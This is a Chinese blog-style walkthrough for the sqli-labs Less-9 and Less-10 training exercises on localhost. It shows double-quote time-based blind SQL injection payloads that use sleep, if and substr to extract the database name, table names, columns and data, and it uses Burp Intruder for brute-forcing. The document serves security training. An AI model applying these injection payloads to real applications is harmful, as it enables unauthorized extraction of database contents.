IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 最详细的讲解 让你最快通关Less-9-Less-10/ --时间盲注http: |127.0.0.1/sqli-labs-master/Less-10/ --时间盲注 -> 正文阅读

[网络协议]最详细的讲解 让你最快通关Less-9-Less-10/ --时间盲注http: |127.0.0.1/sqli-labs-master/Less-10/ --时间盲注

http://127.0.0.1/sqli-labs-master/Less-10/ --时间盲注

http://127.0.0.1/sqli-labs-master/Less-9/
和less-10一样less-9做单引号的时间盲注和其他less-10几乎一模一样。 这里主要讲解less-10。

判断注入点

常规判断

http://127.0.0.1/sqli-labs-master/Less-10/?id=1 and 1=1 and sleep(5)
http://127.0.0.1/sqli-labs-master/Less-10/?id=1 and 1=1 and sleep(5)

在这里插入图片描述
在这里插入图片描述
根据页面显示我们可以知道使用联合注入是不可行的。页面无论对错都只显示you are in所以我们选择和less-9一样的时间盲注。

进行时间盲注

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5)--+

在这里插入图片描述

当我们进行双引号注入的时候发现sleep被调用了所以,我们便得到了结论:less-10得做双引号的时间盲注。

判断数据库名称

判断数据库长度

使用length() sleep() if()三个函数。组合起来。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(length(database())=1,sleep(5),1)  --+

在这里插入图片描述
可以看出sleep并没有被调用,单一个一个手工注入太麻烦了,所以我们选择brup爆破。
在这里插入图片描述
打开brup,代理里面找到相应的http记录,也可以选择拦截(个人觉得拦截比较麻烦)
在这里插入图片描述
找到过后右击鼠标将它发送到测试器里面(点击深色部分)。
在这里插入图片描述
对于原来的有效负载位置进行清除后再重新添加(相应位置是第一个1哪里)。
在这里插入图片描述
攻击类型选择不变选择狙击手(因为有效负载位置只有一个)。
在这里插入图片描述
然后有效荷载里设置 如图 然后点击开始攻击。
在这里插入图片描述
攻击结果如下,因为是时间注入所以我们看时间(接受响应计数,如果没有显示出接受响应计数,点击列里面勾选)得出时间最长为8所以该数据库长度为8。

判断数据库名称

爆库名:substr(字符串,1,1) if(表达式1,表达2,表达3) sleep(5)

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(substr(database(),1,1)='a',sleep(5),1)  --+

在这里插入图片描述

这里跟上面一样,需要注意的是要添加两个有效负载位置,攻击类型改为集束炸弹,如上图。
在这里插入图片描述

第一个有效负载集设置。

在这里插入图片描述
在这里插入图片描述

第二个有效负载集设置。然后开始攻击。

在这里插入图片描述

结果得出数据库名称为:security

爆表名

使用substr(字符串,1,1) if(表达式1,表达2,表达3) sleep(5) table_name
table_schema information_schema.tables

使用burp进行爆破第一个表名。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(5),1) --+

在这里插入图片描述

在这里插入图片描述

得出security数据库对应的第一个表名为emails。

爆security数据库第二个表。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if((substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='a'),sleep(5),1) --+

在这里插入图片描述

第二个表为referers。

爆security数据库第三个表。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if((substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),1,1)='a'),sleep(5),1) --+

在这里插入图片描述

第三个表为uagents。

爆security数据库第四个表。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if((substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='a'),sleep(5),1) --+

在这里插入图片描述

第四个表为users。

爆security数据库第五个表

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if((substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1)='a'),sleep(5),1) --+

在这里插入图片描述
可以看出响应时间差距不大说明sleep没有被调用,所以没有第5个表。

爆字段

这里用表emails举例演示

http://127.0.0.1/sqli-labs-master/Less-10/?id=1"  and if((substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='a'),sleep(5),1) --+

在这里插入图片描述

在这里插入图片描述

得出数据库为security表为emails第一个字段为id。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1"  and if((substr((select column_name from information_schema.columns where table_schema='referers' and table_name='emails' limit 0,1),1,1)='a'),sleep(5),1) --+

在这里插入图片描述

在这里插入图片描述

得出数据库为security表为referers第一个字段为id。

爆数据

以security库的emails表的id字段为例。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and if(substr((select id from security.emails limit 0,1),1,1)=1,sleep(5),1) --+

在这里插入图片描述

在这里插入图片描述

发现数据为1,所以id=1。
其他数据爆的方法一样。

Less-10双引号时间盲注
数据库长度security8
第N个表表名第一个字段数据
第一个表名emailsid1
第二个表名referersid
第三个表名uagentsid
第四个表名usersid

完成本题。在简单过程直接讲清思路,防止萌新不会操作,前面基础,喜欢的朋友不要吝啬你的三连哦!

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 18:20:11  更:2022-04-18 18:23:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 4:24:42-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码